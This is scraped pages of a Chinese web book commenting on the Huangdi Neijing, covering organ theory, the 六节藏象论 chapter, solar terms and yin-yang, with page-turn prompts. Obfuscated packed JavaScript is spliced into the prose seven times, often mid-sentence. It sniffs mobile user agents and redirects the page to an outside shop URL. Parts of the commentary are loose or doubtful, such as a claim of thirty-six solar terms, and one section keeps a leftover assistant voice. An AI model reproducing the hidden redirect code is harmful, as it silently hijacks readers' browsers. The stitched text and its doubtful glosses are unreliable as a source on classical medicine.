肾被描述为“作强之官，伎巧出焉”。这里的“作强”可以理解为肾具有强大的生命力和活力，能够滋养和推动人体的生长、发育和生殖。而“伎巧”则指的是肾主骨生髓，能够滋养脑髓，使人具备灵巧的思维和精细的动作能力。因此，肾的健康与否直接关系到人体的生长、发育、生殖以及思维活动的正常进行。 三焦，被称为“决渎之官，水道出焉”。三焦是中医特有的一个概念，包括上焦、中焦和下焦三个部分，分别对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428623|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应着人体的胸腔、腹腔和盆腔。三焦的主要功能是通调水道，即调节人体内的水液代谢和运输。它像是一个水道的总管，确保水液能够顺利地流通和排泄。如果三焦的功能出现障碍，就可能导致水液代谢失常，出现水肿、腹水等病状。 膀胱，被称为“州都之官，津液藏焉，气化则能出矣”。膀胱的主要功能是储存尿液和排泄尿液。它像是一个水库，能够储存人体内的多余水分和废物。当膀胱内的尿液积累到一定程度时，就需要通过气化作用将其排出体外。这个气化过程需要肾气的参与和推动，因此膀胱和肾在功能上有着密切的联系。 总的来说，中医的脏腑理论中各自扮演着重要的角色。它们的功能相互关联，共同维护着人体的水液代谢和排泄。如果这些脏腑的功能出现障碍，就可能导致水液代谢失常和排泄不畅，出现各种疾病。因此，我们应该注重保护这些脏腑的健康，保持水液代谢的平衡和排泄的顺畅。 在中医的脏腑理论中，“主明则下安”这句话，蕴含了深刻的养生之道和治国理念。这里的“主”可以理解为身体中的主宰器官，即心。心在中医理论中被称为“君主之官”，主导着全身的生命活动。当心脏功能正常，思维清晰，情绪稳定时，身体的各个脏腑器官就能协调运作，人体就能维持健康的状态。 如果将这种理念应用到养生上，就强调了“心”的重要性。一个心态平和、情绪稳定的人，往往能够更好地调节身体机能，避免疾病的发生。同时，这种养生方式也强调了预防的重要性，通过调节心态和生活方式，达到预防疾病、延年益寿的目的。 这章没有结束，请点击下一页继续阅读！ 第7章 （2）哲学之光：探索“至道在微”的深刻内涵 “至道在微，变化无穷，孰知其原。”这句话出自古代哲学家的智慧，意味着最高的道理往往隐藏在最微小的细节之中，其变化无穷无尽，难以窥见其根源。这就像天空中的云彩，瞬息万变，每一刹那都是一个新的面貌，难以追寻其最初的形状。 “窘乎哉，消者瞿瞿，孰知其要。”当我们面临困境，或是观察到事物在消逝的过程中，往往感到困惑和迷茫，难以把握其中的关键。这就像在茫茫人海中寻找一个特定的目标，如果不了解其中的规律和要点，很容易迷失方向。 “闵闵之当，孰者为良。”在复杂纷扰的世界中，如何判断是非善恶，选择正确的道路，是一个永恒的问题。这需要我们具备敏锐的观察力和判断力，同时还需要有坚定的信念和道德准则，才能在纷繁复杂的世界中保持清醒的头脑，做出正确的选择。 对于这些问题，我们可以从哲学的角度进行深入的探讨和思考。哲学是一种追求智慧和真理的学科，它关注人的本质、价值、命运等问题，对于我们认识自己和世界具有重要意义。通过哲学的思考，我们可以更好地理解“至道在微，变化无穷”的深刻内涵，也可以更好地把握“窘乎哉，消者瞿瞿”的困境和“闵闵之当，孰者为良”的选择问题。同时，我们也可以从中汲取智慧，指导自己的生活和实践。 “恍惚之数,生于毫厘,毫厘之数,起于度量,干之万之,可以益大,推之大之,其形乃制”蕴含了深刻的哲理。它描述的是从微小到宏大的演化过程，同时也揭示了事物发展的规律。 “恍惚之数，生于毫厘”，意味着一切看似模糊、不确定的数量或概念，都源于极其微小的起始点。这些起始点看似微不足道，但正是它们构成了事物的基础。 “毫厘之数，起于度量”，说明即使是微小的数量，也需要通过度量来确定其精确值。度量是科学的基础，它让我们能够准确地描述和理解世界。 “干之万之，可以益大”，意味着通过不断地积累、扩大，微小的数量可以变得巨大。这个过程就像滚雪球一样，开始时只是一个小小的雪球，但随着时间的推移，它会越滚越大。 “推之大之，其形乃制”，指的是当我们将这些微小的数量或概念推广到更大的范围时，它们的形态或结构就会受到限制或约束。这是因为在大范围内，事物之间的相互联系和制约作用会变得更加复杂和显着。 这句话的哲理告诉我们，事物的发展往往是从微小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428624|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始，通过不断的积累、扩大和限制，最终形成我们所看到的世界。同时，它也提醒我们，在追求目标的过程中，要注意细节和度量，以确保我们的行动能够准确地达到预期的效果。 黄帝所提及的“精光之道，大圣之业”，是一种至高无上的智慧与成就。当我们谈论这样的深邃之道时，确实需要一种虔诚与敬畏的心态去接纳它，因为这不仅是对知识的尊重，更是对古代圣贤智慧的传承与珍视。 黄帝作为中华民族的人文始祖，他在选择传承这样的“大道”时，特地“择吉日良兆”，并且将其“藏灵兰之室”，这不仅是为了确保传承的庄重与神圣，更是为了保证这些宝贵的知识能够得以妥善保存，流传后世。 这种“斋戒择吉日”的行为，不仅仅是一种仪式，更是一种心灵的准备与净化。它让我们在接受新知识、新思想时，能够摒弃杂念，以更加纯粹的心态去领悟其中的真谛。 在今天这个信息爆炸的时代，我们或许不再需要像黄帝那样择吉日藏经，但我们应该保持一颗敬畏与虔诚的心，去对待那些值得我们学习与传承的宝贵知识。同时，我们也应该学会珍惜与保护这些文化遗产，让它们能够继续发光发热，为后人指引方向。 第8章 六节藏象论 “六节”和“藏象”这两个概念，均出自于中医的经典着作《黄帝内经》。下面我将分别为您详细解释这两个概念。 “六节”在《黄帝内经》中，并非指简单的六个节气或节日，而是指一年中的六个时段，具体来说是春、夏、长夏、秋、冬五季加上四季更替中的最后一个月（即季月）。这六个时段与自然界的气候变化、阴阳消长密切相关，同时也影响着人体脏腑的生理功能和病理变化。 在中医理论中，人体的生理活动与自然界的气候变化是息息相关的。通过观察和调整人体在不同“六节”时段内的脏腑功能状态，可以预防和治疗与季节变化相关的疾病，实现“天人合一”的养生理念。 “藏象”是中医理论中的一个重要概念，它指的是人体内脏腑的功能活动和病理变化在体外的反映。这里的“藏”指的是人体的内脏器官，如心、肝、脾、肺、肾等；“象”则是指这些内脏器官在生理或病理状态下的外在表现。 在中医理论中，脏腑不仅具有各自的生理功能，而且它们之间还存在着相互依存、相互制约的关系。当某一脏腑功能失调时，不仅会影响其自身的生理功能，还会对其他脏腑产生连锁反应，导致整个机体的功能失衡。因此，通过观察和分析人体在外的“象”，可以推断出内在脏腑的功能状态和病理变化。 同时，“藏象”也是中医诊断和治疗疾病的重要依据。中医医生通过望、闻、问、切四诊合参的方法，收集患者的病史、症状、体征等信息，结合中医理论进行分析和判断，从而确定疾病的病因、病机和病位，为制定治疗方案提供依据。 总之，“六节”和“藏象”是中医理论中的两个重要概念，它们分别描述了人体与自然界的相互关系以及人体内在脏腑的功能活动和病理变化在体外的反映。这两个概念在中医的养生、预防和治疗疾病方面都具有重要的指导意义。 《六节藏象论》是《黄帝内经》中一篇重要的理论篇章，它主要讨论了人体脏腑与天地阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428625|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳五行之气的相互关系，强调了人体内环境的和谐与统一。这一理论在中医的脏腑经络学说中占有举足轻重的地位，为中医的诊断和治疗提供了理论基础。 《六节藏象论》的核心思想是“天人合一”，即人体与自然界是一个不可分割的整体。通过观察和调整人体脏腑的功能状态，可以实现对人体健康的维护和疾病的预防。这一理论在中医的实践中得到了广泛应用，为中医的诊断和治疗提供了重要的指导。 《六节藏象论》也强调了“治未病”的重要性。它认为，通过调整人体脏腑的功能状态，可以预防疾病的发生，达到“未病先防”的目的。这种预防性的治疗方法在现代医学中也得到了越来越多的重视。 总之，《六节藏象论》是中医经典中的重要篇章之一，它通过对人体脏腑与自然界阴阳五行之气的相互关系的探讨，为中医的诊断和治疗提供了理论基础。在现代医学中，我们也可以从中汲取智慧，为人类的健康事业做出更大的贡献。 第8章 （1）当数学遇上天地气：解锁未知世界的钥匙？ 黄帝与岐伯的对话，如同历史长河中一颗璀璨的明珠，不仅展现了古人对天文历法的精准理解，更体现了他们对人与自然和谐共生的哲学思考。 黄帝提到的“六六之节，以成一岁”，确实是中国古代天文历法中的一种独特观念。这种划分方式将一年分为六个阶段，每个阶段各有六个节气，合计三十六节气，比我们现在所熟知的二十四节气更为细致。这不仅仅是古人对时间流转的精准记录，更是对天地自然变化规律的深刻洞察。 岐伯的回应“昭乎哉问也，请遂言之”，充满了对黄帝提问的赞赏和尊重。他进一步解释说，“六六之节”不仅反映了天地的运行规律，更与人体内的“三百六十五节”相呼应。这里的“三百六十五节”并非仅仅指人体的经络穴位，而是泛指人体的各种生理功能、心理状态以及情感变化等。这种将人体结构与天地自然相联系的思考方式，正是古人天人合一哲学思想的体现。 岐伯还提到，人体的“三百六十五节”与天地自然的“六六之节”相互呼应，共同构成了宇宙间的一个完整体系。这种思想在中医理论中尤为明显，中医强调人与自然的和谐统一，认为人体的生理和病理变化都与自然界的阴阳五行、四时变化等密切相关。因此，中医在诊断和治疗疾病时，都会充分考虑到这些自然因素对人体的影响。 在今天这个快节奏、高压力的社会中，我们或许更应该倾听岐伯的教诲，关注自身的身心健康，顺应自然的规律。正如岐伯所说，“我们不仅要关注自然的变化，更要关注自身身心的变化。只有了解并顺应这些变化，才能够实现真正的健康和长寿。”这句话不仅是对古代中医理论的总结，更是对我们现代人生活方式的一种提醒和启示。 岐伯所言的“昭乎哉问也！请遂言之。夫六六之节、九九制会者，所以正天之度、气之数也”，是对黄帝提问的深刻回应，同时也揭示了中国古代天文学与医学间千丝万缕的联系。 “六六之节”，是指古代将一年划分为六个时段，每时段又有六个节气，合计三十六节气。这种划分方式，不仅体现了古人对天文现象深入细致的观察，也反映了他们对自然规律的精准把握。而“九九制会”，则可能指的是人体内的某种结构或功能，被划分为九个部分或九个层次，每个部分或层次都有其特定的功能和作用。 岐伯认为，这种“六六之节”和“九九制会”的划分方式，正是为了“正天之度、气之数”。也就是说，它们不仅是对天文现象和人体结构的描述，更是对天地自然规律和人体生命活动规律的总结和概括。通过观察和总结这些规律，古人能够更好地理解自然和人体的奥秘，从而指导生活和医疗实践。 这种思想在中医理论中尤为明显。中医强调人与自然的和谐统一，认为人体的生理和病理变化都与自然界的阴阳五行、四时变化等密切相关。因此，在中医的治疗中，会充分考虑到自然因素对人体的影响，从而采取相应的治疗方法。例如，在春天养肝、夏天养心、秋天养肺、冬天养肾，就是根据四季变化对人体脏腑的影响而提出的养生建议。 我们来解读一下这段话中的几个核心概念。天度，通常指的是天体运行的规律和度量；气数，则更多地与自然界的气象变化、生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428626|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物生长等生命现象相关，它记录并反映了这些生命现象的变化规律。 关于“天度者，所以制日月之行也”，这里的天度可以理解为天文学的度量标准，它决定了日月等天体在宇宙中的运行轨迹和速度。正如我们现代天文学所描述的，地球围绕太阳公转，而月亮则围绕地球旋转，它们的运行都遵循着一定的规律和速度。 而“气数者，所以纪化生之用也”，则是从生物和自然现象的角度来解读的。气数代表了自然界中生命活动的节奏和规律，比如四季的更替、植物的生长周期、动物的繁殖季节等，都是气数在自然界中的具体体现。 接着，这段话还提到了“天为阳，地为阴，日为阳，月为阴”，这是中国古代哲学中对于宇宙和自然现象的一种解读。天、日代表阳，具有温暖、光明、运动等特性；地、月代表阴，具有寒冷、黑暗、静止等特性。这种解读为我们理解自然现象提供了另一种视角。 至于“行有分纪，周有道理”，则是强调了天体运行和自然现象都是有规律可循的。无论是天体的运行轨迹、速度，还是自然现象的发生、发展，都遵循着一定的规律和道理。 接下来，“日行一度，月行十三度而有奇焉”，则是具体描述了日月运行的速度和规律。日行一度，指的是太阳每天相对于地球自转一周所运行的度数；而月行十三度而有奇，则是指月亮相对于地球的运动速度，它每天大约运行十三度，但由于月球的轨道是椭圆形的，所以其运行速度并不是恒定的，有时会快一些，有时会慢一些。 这章没有结束，请点击下一页继续阅读！ 第8章 （2）专家解读：天文现象背后的气候科学 在古代中国的哲学与天文学中，“气”是一个核心概念，它贯穿于宇宙、自然与生命的始终。当帝问及“气”的涵义时，实际上是在探寻宇宙间无形无象，但又无处不在、推动万物变化的根本力量。 “气”在这里，首先可以理解为构成宇宙万物的最基本元素。它不同于我们今日所说的物质粒子，而是一种更为宽泛、更为抽象的概念。它无形无状，却又真实存在，如同空气般弥漫于整个宇宙空间，却又比空气更为复杂和玄妙。 进一步讲，“气”的盈闰变化，则是指气的聚集与消散、增长与衰退的过程。这种变化不仅影响着天体的运行、季节的更替，也影响着万物的生长与衰亡。盈，即气的聚集、增长，象征着生机勃勃、万物繁荣；闰，则是气的消散、衰退，象征着生命的凋零与沉寂。 在古代的天文学中，通过对气的盈闰变化的观察和研究，人们试图揭示宇宙间的奥秘，探寻天地的运行规律。这种对“气”的理解，不仅体现了古人对宇宙本源的深邃思考，也为我们今天提供了理解自然、认识世界的宝贵视角。 因此，当帝问及“何谓气”时，我们可以这样回答：气，是构成宇宙万物的最基本元素，它无形无象，却又无处不在，是推动万物变化的根本力量。通过对气的盈闰变化的观察和研究，我们可以更好地理解宇宙的运行规律，探寻生命的真谛。 岐伯的这句话“此上帝所秘，先师传之也”蕴含了古代医学和哲学中一种深厚的传承与敬畏之情。在古代，医学知识被视为一种神秘而宝贵的财富，很多都来源于先人的经验和智慧，通过口口相传或师徒相授的方式流传下来。 “上帝所秘”这一说法，体现了古人对自然界和人类生命奥秘的敬畏和好奇。他们相信，这些医学知识是由一种超越人类智慧的力量所赋予的，而这种力量往往被赋予某种神圣或神秘的色彩，比如“上帝”。 “先师传之也”则强调了医学知识的传承性。在古代，医学知识往往不是通过书本或学校传授的，而是通过师徒之间的言传身教来传承。这种传承方式不仅注重知识的传递，更强调了对先师经验的继承和发扬。 因此，当岐伯说出这句话时，他是在表达一种对医学知识深厚的历史底蕴和传承价值的认同。同时，这句话也提醒我们，医学知识是宝贵而神圣的，我们应该珍惜它、传承它，并不断探索和发现新的医学知识，为人类的健康和福祉贡献自己的力量。 岐伯的回答为我们揭示了古代医学与天文学中关于时间与气候变化的基本认识。他所说的“五日谓之候，三候谓之气，六气谓之时，四时谓之岁”，实际上是对时间的一种精细划分，并对应着自然界中气候的变化。 “五日谓之候”是中国古代对于时间划分的一种方式，特别是在中医和天文学中，这种时间划分有着非常重要的意义。 具体来说，“五日谓之候”意味着每五天被视为一个特定的时间段，或者叫做“候”。这种划分方法源于古人对自然现象和生命活动的观察，他们发现很多自然现象和生命活动都存在着一种周期性的变化，而这种变化往往与时间的流逝密切相关。 在中医中，“五日谓之候”的观念被用来指导疾病的诊断和治疗。中医认为，人体的健康与自然环境的变化密切相关，而自然环境的变化又与时间的流逝密切相关。因此，通过观察和分析“候”的变化，医生可以了解人体的健康状况，从而制定相应的治疗方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428627|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案。“五日谓之候”的观念也反映了古人对自然界周期性运动规律的深刻认识。 “三候谓之气”。在这里，“候”通常指的是五天的时间跨度，而“三候”则是三个五天，即十五天的时间段。这十五天被视为一个“气”的周期。 在古代中国，人们通过对自然现象和气候变化的观察，将一年分为四季，每季又分为六个“气”，每个“气”由三个“候”组成。这样的划分方式不仅反映了气候变化的周期性，也体现了古人对自然界深刻的认识和尊重。 在中医理论中，“三候谓之气”的概念也被广泛运用。中医认为，人体的健康与气候的变化密切相关，因此医生在诊断和治疗疾病时，需要充分考虑到“气”的变化。例如，在不同的“气”中，人体的气血、脏腑功能等都会有所不同，因此医生需要根据“气”的变化来制定相应的治疗方案。 “六气谓之时”这里”则是指一个季节，也就是三个月的时间。 具体来说，在中国古代的天文学和医学理论中，人们认为自然界的气候变化与人体内的阴阳气血变化是相互关联的。一年被分为四季，每季各有三个月，而每个月的气候变化又与特定的“气”相对应。这样，一个季节（即“时”）就包含了六种不同的气候因素，即“六气”。 在中医理论中，“六气”不仅代表了自然界的气候变化，也反映了人体内阴阳气血的变化。因此，医生在诊断和治疗疾病时，需要充分考虑到“六气”的影响。例如，在不同的季节和月份，人体内的阴阳气血状态会有所不同，因此医生需要根据“六气”的变化来制定相应的治疗方案。 这章没有结束，请点击下一页继续 阅读！ 第8章 （3）24节气与民俗：探索节气背后的传统 中国的24节气，作为古代农耕文明的产物，凝结了先民的智慧与观察自然的结晶。这24节气，按照太阳在黄道上的位置，将一年划分为二十四个等分，每个节气约15天，反映了太阳对地球产生的影响，以及地球上自然界万物生长、发展的规律。 立春，是春季的开始，意味着万物复苏，大地回暖，生机盎然。此时，虽然天气仍然寒冷，但春天的气息已经悄然降临。 雨水，顾名思义，是降雨增多的时节。随着气温的逐渐回升，冰雪融化，雨水增多，滋润着大地，为春季的生长打下了基础。 惊蛰，象征着春天的雷声惊醒了冬眠的动物。这个节气期间，气温上升较快，雨水也逐渐增多，春雷乍动，万物复苏，生机勃勃。 春分，是春季的中分点，也是昼夜平分的日子。此时，阳光直射赤道，全球昼夜几乎等长。春分过后，北半球开始昼长夜短，气温逐渐升高，春天的气息愈发浓厚。 清明，既是二十四节气之一，又是重要的传统节日。清明时节，气候温暖，草木繁茂，人们扫墓祭祖，缅怀先人，同时也是踏青游玩的好时节。 谷雨，是春季的最后一个节气，也是播种移苗、埯瓜点豆的最佳时节。此时，雨水充沛，有利于农作物的生长，人们忙着耕作播种，期待来年的丰收。 这六个节气不仅反映了自然界的变化规律，也指导着人们的生产和生活。通过对这些节气的了解和掌握，我们可以更好地适应自然，与自然和谐相处。 立夏，标志着夏季的开始，气温逐渐升高，万物进入生长的旺季。这个时节，人们开始换上夏季的衣物，享受夏日的阳光和微风。 小满，意味着夏熟作物的籽粒开始灌浆饱满，但还未成熟。这是农事活动繁忙的时期，农民们忙着田间管理，期待丰收的到来。 芒种，是“有芒之谷类作物可种”的意思。这个节气期间，气温高、湿度大，适合晚稻等谷类作物的播种。同时，也是南方地区“抢收抢种”的时节。 夏至，是夏季的中分点，也是北半球一年中白昼最长、夜晚最短的一天。夏至过后，北半球的白天逐渐缩短，夜晚逐渐延长。这个时节，人们会举办各种庆祝活动，如赛龙舟、吃粽子等，以祈求平安和丰收。 小暑，意味着天气开始炎热，但还没到最热的时候。此时，人们要注意防暑降温，避免中暑和高温引发的疾病。 大暑，是夏季的最后一个节气，也是一年中最热的时候。这个时节，气温高、湿度大，人们容易感到闷热不适。因此，要注意保持室内通风、多喝水、避免长时间在户外活动等。 这六个节气不仅反映了夏季气候变化的规律，也体现了人们对自然环境的认识和适应。通过对这些节气的了解和掌握，我们可以更好地安排农事活动、调整生活作息、享受夏季的美好时光。 立秋，是秋季的起点，意味着夏季的结束和秋季的开始。虽然此时的气温可能还未有明显的下降，但自然界已经开始逐渐进入收获的季节。 处暑，意味着暑气至此而止，是夏季的最后一个节气。此时，气温逐渐下降，昼夜温差加大，人们开始感受到秋天的凉爽。 白露，是气温开始下降、天气转凉的象征。在这个时节，夜晚的地面散热快，温度迅速下降，空气中的水蒸气在地面或近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428628|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地物体上凝结成小水珠，形成露水，故名“白露”。 秋分，是秋季的中分点，也是昼夜平分的日子。这一天，太阳几乎直射地球赤道，全球各地昼夜等长。秋分过后，北半球开始昼短夜长，气温逐渐下降，进入深秋季节。 寒露，标志着天气正式进入寒冷阶段。这个节气期间，气温更低，露水更重，有时甚至会凝结成霜。人们开始感受到明显的寒意，需要增加衣物以保暖。 霜降，是秋季的最后一个节气，也是天气渐冷、初霜出现的时候。这个节气期间，夜晚的气温会降至冰点以下，空气中的水蒸气直接凝华形成细小的冰晶，附着在地面或近地物体上，这就是所谓的“霜”。 这六个节气不仅反映了秋季气候变化的规律，也体现了人们对自然环境的感知和适应。通过对这些节气的观察和了解，我们可以更好地把握自然界的节奏，合理安排农事活动和生活作息。 立冬，作为冬季的起始点，标志着秋季的结束和冬季的开始。此时，天气逐渐转冷，万物开始进入休养状态，人们也开始为即将到来的寒冷季节做准备。 小雪，顾名思义，是开始下雪的节气。虽然这个时候的雪量可能并不大，但它却预示着冬季的正式开始。小雪节气期间，气温逐渐下降，天气变得更为寒冷，人们需要注意保暖。 大雪，则是降雪量增多、范围变广的节气。此时，北方地区可能会迎来大雪纷飞的日子，而南方地区虽然降雪量较小，但也会感受到明显的寒意。大雪节气期间，人们需要注意防范低温和冰雪灾害。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第8章 （4）阴阳平衡，万物生长：天地之气中的自然法则 关于您提及的“天地之运，阴阳之化，其于万物，孰少孰多”的问题，实则探讨的是宇宙间天地运行、阴阳变化与万物生成之间的辩证关系。 在古代哲学中，天地之运被视为宇宙间最基本的运动规律，这种运动是无穷无尽、周而复始的。而阴阳之化，则是这种运动过程中的两种基本力量，它们相互对立又相互依存，共同推动着万物的生长、变化和消亡。 至于“孰少孰多”的问题，其实并没有一个固定的答案。因为阴阳之间的平衡是动态的，不是静态的。在不同的时间、不同的空间、不同的事物上，阴阳的表现形式和力量对比都是不同的。有时候，阳气可能占据主导地位，推动事物向积极的方向发展；有时候，阴气可能更为强盛，使事物呈现出消极或衰退的态势。 但是，无论阴阳之间的力量对比如何变化，它们都是宇宙间不可或缺的基本元素。正如《黄帝内经》所说：“阴阳者，天地之道也，万物之纲纪，变化之父母，生杀之本始，神明之府也。”阴阳的相互作用，是宇宙间万物生成和变化的基础。 “阴阳者，天地之道也，万物之纲纪，变化之父母，生杀之本始，神明之府也。”这句话出自《黄帝内经》，是对阴阳理论的高度概括和深入阐述。 “天地之道也”，意味着阴阳理论是解释天地自然规律的基础。无论是春夏秋冬的四季更替，还是日夜晨昏的交替变化，都可以从阴阳的角度进行解释和理解。 其“万物之纲纪”，指的是阴阳理论是解释万物生长、发展和变化的纲领。无论是植物的生长、动物的繁衍，还是人类社会的发展和变革，都可以从阴阳的角度找到其内在的规律和动力。 “变化之父母”，意味着阴阳是产生变化的原因和根源。一切事物的变化和发展，都是由于阴阳之间的相互作用和转化所导致的。 “生杀之本始”，指的是阴阳是生命产生和消亡的根本原因。生命的诞生和成长，是阴阳相互作用的结果；而生命的衰老和消亡，也是阴阳转化和消亡的过程。 “神明之府也”，则是对阴阳理论的进一步升华和神秘化。在古代哲学中，神明被认为是掌握宇宙间一切规律和变化的力量。而阴阳理论则是解释这种力量的基础和关键。因此，阴阳被视为神明的居所和宫殿。 总的来说，阴阳理论是中国古代哲学中的一个重要概念，它不仅解释了宇宙间万物生成、发展和变化的规律，也揭示了生命和宇宙的奥秘。这种理论在中国古代医学、哲学、文化等领域都有广泛的应用和影响。 因此，我们不能简单地说哪种力量更多或更少，而应该理解到阴阳之间的平衡和变化是宇宙间最基本的规律之一。这种规律不仅存在于自然界中，也存在于人类社会和精神世界中。只有深入理解这种规律，我们才能更好地认识世界、改造世界、创造美好的未来。 而当我们谈到草木时，更是充满了无尽的奥妙。“草生五色，五色之变，不可胜视。”这句话描绘的是草木在生长过程中展现出的五彩斑斓。从翠绿的叶子到绚丽的花朵，从深邃的蓝紫到明亮的金黄，草木的色彩变化多端，丰富多样，令人目不暇接。这种变化不仅是大自然的杰作，也是生命多样性的体现。 “草生五味，五味之美，不可胜极。”这则是对草木味觉特点的赞美。我们知道，不同的植物拥有各自独特的味道。有的甘甜可口，有的酸涩刺激，有的苦中带甜，有的辛辣热烈。这些味道不仅满足了人们的口腹之欲，更是大自然赋予我们的宝贵财富。它们各自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428629|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具有独特的药用价值和营养价值，为人类的健康和生存提供了重要的支持。 天食人以五气，地食人以五味。五气入鼻，藏于心肺，上使五色修明，音声能彰；五味入口，藏于肠胃，味有所藏，以养五气，气和而生，津液相成，神乃自生。 “天食人以五气，地食人以五味”这句话，它告诉我们，人类的生活与生存，离不开天地所提供的“五气”与“五味”。 首先，让我们来理解“五气”。这里的“五气”并非指具体的五种气体，而是指天地间的各种气息，包括清新之气、温暖之气、湿润之气、凉爽之气等。这些气息通过我们的鼻子进入体内，首先影响到的是心肺两脏。心肺主气血，五气入鼻，藏于心肺，有助于气血的流通和调和，使得我们的面色红润，声音洪亮。 接下来，我们再看“五味”。这里的“五味”指的是酸、苦、甘、辛、咸五种基本味道。食物中的这些味道通过我们的口腔进入肠胃，被消化吸收后，成为我们身体所需的营养物质。这些营养物质被储存在肠胃中，用以滋养体内的“五气”。当体内的“五气”得到充足的滋养和调和时，我们的身体就能保持健康的状态，气血流通顺畅，精神焕发。 此外，五气的调和与滋养，还有助于津液的生成。津液是人体内的一种重要液体，它对于维持身体的正常功能具有重要作用。当五气调和时，津液就能得到充足的生成和循环，从而保持身体的湿润和滋润。 综上所述，“天食人以五气，地食人以五味”这句话，不仅揭示了人与自然界之间的密切联系，还强调了人体内气 血、津液等生命要素的重要性。因此，我们在日常生活中应该注重饮食的调养和呼吸的锻炼，以保持身体的健康和精神的愉悦。 第8章 （5）8种反常的气候 在气候学中，我们通常不会直接使用“逆、淫、太过、不足、郁、胜、复”这些词语来描述气候现象，因为这些词汇更多地是中医理论或哲学概念中的用语。但为了满足这个特殊问题的需求，我将尝试以这些词汇为灵感，为你描述八种可能的气候现象或状态，尽管它们可能不完全符合传统意义上的气候科学定义。 1. **逆气候**：这里的“逆”可以理解为异常或相反。逆气候可能指的是与常规气候模式相反的气候现象，例如在一个通常湿润的地区出现长时间的干旱，或者在一个寒冷的地区出现异常的温暖。 2. **淫气候**：这里的“淫”可以理解为过度或过量。淫气候可能指的是某种气候要素（如降水、温度、风等）持续异常增多，如长时间的暴雨、高温热浪或强风等。 3. **太过气候**：与淫气候类似，太过气候也指的是某种气候要素的量过多或强度过大，超过了正常范围。例如，一个地区的降雨量超过历史平均水平，导致洪涝灾害。 4. **不足气候**：与太过气候相反，不足气候指的是某种气候要素的量不足或强度过小，无法满足正常需求。例如，一个地区的降水量过少，导致干旱。 5. 